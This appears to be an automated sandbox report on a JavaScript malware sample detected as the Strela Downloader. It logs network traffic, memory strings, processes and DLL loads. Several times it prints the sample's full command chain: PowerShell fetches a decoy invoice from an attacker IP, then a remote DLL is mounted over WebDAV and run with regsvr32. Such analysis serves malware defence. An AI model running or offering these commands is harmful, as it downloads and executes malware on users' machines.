HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1699325579.0000018875CA3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1700183892.0000018875C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1768361623.0000023D0F29E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767554646.0000023D0F250000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1765299877.0000023D0F29C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000006.00000002.1767554646.0000023D0F250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sce
Source: svchost.exe, 00000008.00000002.2996548933.0000023A7E400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1766112976.0000023A7E618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1766112976.0000023A7E618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1766112976.0000023A7E618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1766112976.0000023A7E64D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7332, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1923918274137833386.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oebzslow.k2g.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1923918274137833386.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1360,i,16295376262785237686,8278694077774238720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1360,i,16295376262785237686,8278694077774238720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
